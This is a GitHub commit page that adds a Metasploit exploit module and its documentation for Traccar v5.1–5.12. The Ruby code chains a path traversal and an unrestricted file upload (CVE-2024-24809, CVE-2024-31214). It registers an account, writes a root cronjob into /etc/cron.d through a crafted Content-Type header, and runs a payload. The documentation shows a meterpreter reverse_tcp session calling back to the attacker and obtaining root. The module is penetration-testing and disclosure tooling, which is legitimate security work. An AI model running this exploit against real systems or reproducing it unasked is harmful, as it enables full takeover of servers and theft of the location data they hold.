Skip to content

Commit 8e2dbbb

Browse files
committed
Land rapid7#19416, Add Traccar RCE module
This module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability CVE-2024-24809 and an unrestricted file upload vulnerability CVE-2024-31214.
2 parents 73bd3fb + e0e7c67 commit 8e2dbbb

File tree

2 files changed

+369
-0
lines changed

2 files changed

+369
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
This module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability
4+
(CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration,
5+
enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges,
6+
potentially resulting in a complete system compromise.
7+
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the
8+
specified payload.
9+
10+
## Testing
11+
12+
The software can be obtained from
13+
[the vendor](https://github.com/traccar/traccar/releases/download/v5.12/traccar-linux-64-5.12.zip).
14+
15+
Installation instructions are available [here](https://www.traccar.org/linux/).
16+
17+
The vulnerable application runs by default on Eclipse Jetty, which listens on TCP port 8082.
18+
19+
**Successfully tested on**
20+
21+
- Traccar v5.12 on Rocky Linux 9.4
22+
- Traccar v5.11 on Rocky Linux 9.4
23+
24+
## Verification Steps
25+
26+
1. Install and run the application
27+
2. Start `msfconsole` and run the following commands:
28+
29+
```
30+
msf6 > use exploit/linux/http/traccar_rce_upload
31+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
32+
msf6 exploit(linux/http/traccar_rce_upload) > set RHOSTS <IP>
33+
msf6 exploit(linux/http/traccar_rce_upload) > set LHOST <IP>
34+
msf6 exploit(linux/http/traccar_rce_upload) > exploit
35+
```
36+
37+
You should get a meterpreter session in the context of `root`.
38+
39+
## Options
40+
41+
### USERNAME
42+
Username to be used when creating a new user.
43+
44+
### PASSWORD
45+
Password for the new user.
46+
47+
### EMAIL
48+
E-mail for the new user.
49+
50+
## Scenarios
51+
52+
Running the exploit against Traccar v5.12 on Rocky Linux 9.4, using curl as a fetch command, should result in an output similar
53+
to the following:
54+
55+
```
56+
msf6 exploit(linux/http/traccar_rce_upload) > exploit
57+
58+
[*] Started reverse TCP handler on 192.168.217.128:4444
59+
[*] Running automatic check ("set AutoCheck false" to disable)
60+
[+] The target appears to be vulnerable.
61+
[*] Registering new user...
62+
[*] Authenticating...
63+
[*] Adding new device...
64+
[*] Uploading crontab file...
65+
[*] Cronjob successfully written - waiting for execution...
66+
[*] Sending stage (3045380 bytes) to 192.168.217.138
67+
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.138:58196) at 2024-08-25 17:03:02 -0400
68+
[*] Exploit finished, check thy shell.
69+
70+
meterpreter > sysinfo
71+
Computer : localhost.localdomain
72+
OS : Red Hat 9.4 (Linux 5.14.0-427.13.1.el9_4.x86_64)
73+
Architecture : x64
74+
BuildTuple : x86_64-linux-musl
75+
Meterpreter : x64/linux
76+
77+
meterpreter > getuid
78+
Server username: root
79+
```
Lines changed: 290 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,290 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
include Msf::Exploit::FileDropper
5+
prepend Msf::Exploit::Remote::AutoCheck
6+
7+
def initialize(info = {})
8+
super(
9+
update_info(
10+
info,
11+
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
12+
'Description' => %q{
13+
Remote Code Execution in Traccar v5.1 - v5.12.
14+
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
15+
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
16+
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
17+
},
18+
'License' => MSF_LICENSE,
19+
'Author' => [
20+
'Michael Heinzl', # MSF Module
21+
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
22+
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
23+
],
24+
'References' => [
25+
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
26+
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
27+
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
28+
[ 'CVE', '2024-31214'],
29+
[ 'CVE', '2024-24809']
30+
],
31+
'DisclosureDate' => '2024-08-23',
32+
'Platform' => [ 'linux' ],
33+
'Arch' => [ ARCH_CMD ],
34+
'Targets' => [
35+
[
36+
'Linux Command',
37+
{
38+
'Arch' => [ ARCH_CMD ],
39+
'Platform' => [ 'linux' ],
40+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
41+
'Type' => :unix_cmd
42+
}
43+
]
44+
],
45+
'Payload' => {
46+
'BadChars' => "\x27" # apostrophe (')
47+
},
48+
'DefaultTarget' => 0,
49+
'DefaultOptions' => {
50+
'WfsDelay' => 75
51+
},
52+
'Notes' => {
53+
'Stability' => [CRASH_SAFE],
54+
'Reliability' => [EVENT_DEPENDENT],
55+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
56+
}
57+
)
58+
)
59+
60+
register_options(
61+
[
62+
Opt::RPORT(8082),
63+
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
64+
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
65+
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
66+
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
67+
]
68+
)
69+
end
70+
71+
def check
72+
res = send_request_cgi({
73+
'method' => 'GET',
74+
'uri' => normalize_uri(target_uri.path, 'api/server')
75+
})
76+
77+
return CheckCode::Unknown unless res && res.code == 200
78+
79+
data = res.get_json_document
80+
version = data['version']
81+
if version.nil?
82+
return CheckCode::Unknown
83+
else
84+
vprint_status('Version retrieved: ' + version)
85+
end
86+
87+
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
88+
return CheckCode::Safe
89+
end
90+
91+
return CheckCode::Appears
92+
end
93+
94+
def exploit
95+
prepare_setup
96+
execute_command(payload.encoded)
97+
end
98+
99+
def prepare_setup
100+
print_status('Registering new user...')
101+
body = {
102+
name: datastore['USERNAME'],
103+
email: datastore['EMAIL'],
104+
password: datastore['PASSWORD'],
105+
totpKey: nil
106+
}.to_json
107+
108+
res = send_request_cgi(
109+
'method' => 'POST',
110+
'uri' => normalize_uri(target_uri.path, 'api/users'),
111+
'ctype' => 'application/json',
112+
'data' => body
113+
)
114+
115+
unless res
116+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
117+
end
118+
119+
auth_status = false
120+
121+
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
122+
# to run into when this module is executed more than once without updating the provided email address
123+
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
124+
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
125+
res = send_request_cgi(
126+
'method' => 'POST',
127+
'keep_cookies' => true,
128+
'uri' => normalize_uri(target_uri.path, 'api/session'),
129+
'ctype' => 'application/x-www-form-urlencoded',
130+
'vars_post' => {
131+
'email' => datastore['EMAIL'],
132+
'password' => datastore['PASSWORD']
133+
}
134+
)
135+
136+
unless res
137+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
138+
end
139+
140+
json = res.get_json_document
141+
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
142+
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
143+
fail_with(Failure::UnexpectedReply, res.to_s)
144+
end
145+
146+
auth_status = true
147+
148+
end
149+
150+
unless res.code == 200
151+
fail_with(Failure::UnexpectedReply, res.to_s)
152+
end
153+
154+
json = res.get_json_document
155+
156+
unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
157+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
158+
end
159+
160+
if auth_status == false
161+
print_status('Authenticating...')
162+
res = send_request_cgi(
163+
'method' => 'POST',
164+
'keep_cookies' => true,
165+
'uri' => normalize_uri(target_uri.path, 'api/session'),
166+
'ctype' => 'application/x-www-form-urlencoded',
167+
'vars_post' => {
168+
'email' => datastore['EMAIL'],
169+
'password' => datastore['PASSWORD']
170+
}
171+
)
172+
173+
unless res
174+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
175+
end
176+
177+
json = res.get_json_document
178+
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
179+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
180+
end
181+
end
182+
end
183+
184+
def execute_command(cmd)
185+
name_v = Rex::Text.rand_text_alphanumeric(16)
186+
unique_id_v = Rex::Text.rand_text_alphanumeric(16)
187+
188+
body = {
189+
name: name_v,
190+
uniqueId: unique_id_v
191+
}.to_json
192+
193+
print_status('Adding new device...')
194+
res = send_request_cgi(
195+
'method' => 'POST',
196+
'uri' => normalize_uri(target_uri.path, 'api/devices'),
197+
'keep_cookies' => true,
198+
'ctype' => 'application/json',
199+
'data' => body
200+
)
201+
202+
unless res
203+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
204+
end
205+
206+
json = res.get_json_document
207+
208+
unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
209+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
210+
end
211+
212+
id = json['id'].to_s
213+
body = Rex::Text.rand_text_alphanumeric(1..4)
214+
fn = Rex::Text.rand_text_alpha(1..2)
215+
216+
print_status('Uploading crontab file...')
217+
res = send_request_cgi(
218+
'method' => 'POST',
219+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
220+
'keep_cookies' => true,
221+
'ctype' => 'image/png',
222+
'data' => body
223+
)
224+
225+
unless res
226+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
227+
end
228+
229+
unless res.code == 200 && res.to_s.include?('device.png')
230+
fail_with(Failure::UnexpectedReply, res.to_s)
231+
end
232+
233+
res = send_request_cgi(
234+
'method' => 'POST',
235+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
236+
'keep_cookies' => true,
237+
'ctype' => "image/png;#{fn}=\"/b\"",
238+
'data' => body
239+
)
240+
241+
unless res
242+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
243+
end
244+
245+
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
246+
fail_with(Failure::UnexpectedReply, res.to_s)
247+
end
248+
249+
body = "* * * * * root /bin/bash -c '#{cmd}'\n"
250+
cronfn = SecureRandom.hex(12)
251+
252+
res = send_request_cgi(
253+
'method' => 'POST',
254+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
255+
'keep_cookies' => true,
256+
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
257+
'data' => body
258+
)
259+
260+
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")
261+
262+
unless res
263+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
264+
end
265+
266+
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
267+
fail_with(Failure::UnexpectedReply, res.to_s)
268+
end
269+
270+
vprint_status('Cleanup: Deleting previously added device...')
271+
res = send_request_cgi(
272+
'method' => 'DELETE',
273+
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
274+
'headers' => {
275+
'Connection' => 'close'
276+
}
277+
)
278+
279+
unless res
280+
print_bad('Failed to receive a reply from the server, device removal might have failed.')
281+
end
282+
283+
unless res.code == 204
284+
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
285+
end
286+
287+
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
288+
print_status('Cronjob successfully written - waiting for execution...')
289+
end
290+
end

0 commit comments

Comments
 (0)